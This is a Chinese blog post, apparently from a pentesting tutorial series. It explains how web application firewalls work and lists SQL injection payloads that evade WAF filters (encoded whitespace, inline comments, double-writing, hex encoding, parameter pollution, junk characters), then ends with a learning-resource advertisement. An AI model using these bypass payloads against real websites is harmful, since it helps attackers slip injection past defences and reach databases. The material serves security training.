news 2026/4/18 12:37:08

渗透测试必会知识----WAF绕过

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
渗透测试必会知识----WAF绕过

waf是web应用防火墙

处理流程:预处理、规则检测、处理模块、日志记录

  1. 预处理
    预处理阶段首先在接收到数据请求流量时会先判断是否为HTTP/HTTPS请求,之后会查看此URL请求是否在白名单之内,如果该URL请求在白名单列表里,直接交给后端Web服务器进行响应处理,对于不在白名单之内的对数据包解析后进入到规则检测部分。
  2. 规则检测
    每一种WAF产品都有自己独特的检测规则体系,解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻击行为。
  3. 处理模块
    针对不同的检测结果,处理模块会做出不同的安全防御动作,如果符合规则则交给后端Web服务器进行响应处理,对于不符合规则的请求会执行相关的阻断、记录、告警处理。

不同的WAF产品会自定义不同的拦截警告页面,在日常渗透中我们也可以根据不同的拦截页面来辨别出网站使用了哪款WAF产品,从而有目的性的进行WAF绕过。

  1. 日志记录
    WAF在处理的过程中也会将拦截处理的日志记录下来,方便用户在后续中可以进行日志查看分析。

三、WAF的分类

  1. 软WAF
    软件WAF安装过程比较简单,需要安装到需要安全防护的web服务器上,以纯软件的方式实现。

代表产品:安全狗,云锁,D盾等

  1. 硬WAF
    硬件WAF的价格一般比较昂贵,支持多种方式部署到Web服务器前端,识别外部的异常流量,并进行阻断拦截,为Web应用提供安全防护。

代表产品有:Imperva、天清WAG等

  1. 云WAF
    云WAF的维护成本低,不需要部署任何硬件设备,云WAF的拦截规则会实时更新。对于部署了云WAF的网站,我们发出的数据请求首先会经过云WAF节点进行规则检测,如果请求匹配到WAF拦截规则,则会被WAF进行拦截处理,对于正常、安全的请求则转发到真实Web服务器中进行响应处理。

代表产品有:阿里云云盾,腾讯云WAF等

  1. 自定义WAF
    我们在平时的渗透测试中,更多情况下会遇到的是网站开发人员自己写的防护规则。网站开发人员为了网站的安全,会在可能遭受攻击的地方增加一些安全防护代码,比如过滤敏感字符,对潜在的威胁的字符进行编码、转义等。

四、WAF的部署方式

1. 透明网桥 2. 反向代理 3. 镜像流量 4. 路由代理

五、 绕WAF的多种方式

%09 TAB 键(水平) %0a 新建一行 %0c 新的一页 %0d return 功能 %0b TAB 键(垂直) %a0 空格

空格绕过

select * from users where id =1 /*!union*//*!select*/1,2,3,4; /*!*/内联式注入 /**/空格

大小写绕过

select * from users where id =1 UNION SELECT 1,2,3,4;

浮点数绕过

select * from users where id =18E0union select 1,2,3,4;

双写绕过

select * from users where id=8 ununionion select 1,2,3,4;

%00截断

select * from users where id=8%00vc select * from users where id=8 union se%lect 1,2,3,4;

过滤敏感字符

复参数绕过

提交url中,一个赋多个值,waf只执行前面的值,不执行后面的值 select * from users where id=1&id=2 union select

通值绕过

select \N; select * from users where id=\Nunion select 1,2,3,4;

单引号双引号绕过

select * from users where username='admin';

16进制绕过

select * from users where username=0x61646D696E

反引号绕过

insert into users(`id`,`username`,`password`,`level`)values(10,'lisi','123456',2);

增加库名绕过

select * from users where id=1 union select 1,2,3,4 from pikachu.users;

逗号绕过

select * from users where id=1 union select 1 2 3 4;

url绕过

64位绕过 编码绕过

大括号绕过

select * from users where id=1 union select{1,},2,3,4;

all绕过

select * from users where id=1 union all select 1,2,3,4; select * from users where id=1 union select all 1,2,3,4; select * from users where id=1 union select distinct 1,2,3,4;

垃圾字符绕过

select * from users where id=1 union selectAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA distinct 1,2,3,4;

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 5:43:58

结合ComfyUI与GLM-4.6V-Flash-WEB打造可视化AI工作流

结合ComfyUI与GLM-4.6V-Flash-WEB打造可视化AI工作流 在智能应用快速迭代的今天,一个产品原型从构想到上线的时间窗口正在急剧缩短。尤其是涉及图像理解、图文问答等多模态任务时,传统开发模式往往受限于模型部署复杂、调试困难和团队协作效率低等问题。…

作者头像 李华
网站建设 2026/4/18 5:26:37

HuggingFace镜像网站token认证访问私有GLM模型

HuggingFace镜像网站token认证访问私有GLM模型 在多模态AI应用加速落地的今天,越来越多企业希望将强大的图文理解能力集成到自己的系统中——比如电商场景下的商品图文审核、教育领域的试卷图像解析,或是客服系统中的截图问答。然而,直接调用…

作者头像 李华
网站建设 2026/4/18 5:20:49

CSDN官网搜索技巧:精准查找GLM-4.6V-Flash-WEB实战教程

CSDN官网搜索技巧:精准查找GLM-4.6V-Flash-WEB实战教程 在AI应用加速落地的今天,开发者面临的不再是“有没有模型可用”,而是“如何快速找到能用、好用、适合业务场景的模型并高效部署”。尤其是在多模态任务中,图像与文本联合理解…

作者头像 李华
网站建设 2026/4/18 2:43:17

基于开源软件本地搭建视频语音转文字

一、目的 想要本地运行、开源免费的视频语音提取转文字方案,这类方案完全可控、无隐私泄露风险,还能自定义适配不同语言和场景。 二、技术路线 (FFmpeg Whisper) 这是目前最成熟的开源组合: FFmpeg:负责从…

作者头像 李华
网站建设 2026/4/18 11:55:18

卷不动了?2025大模型开发新趋势:6款AI工具让程序员效率提升10倍!

一、 市场运行与行业趋势 昆仑芯启动港股IPO进程[1] 昆仑芯正式启动中国香港上市进程,推进国产AI芯片资本化布局。受益于国产算力需求快速增长,AI芯片市场持续扩张。 MiniMax和智谱AI通过上市聆讯[2] MiniMax、智谱AI已通过上市聆讯,大模…

作者头像 李华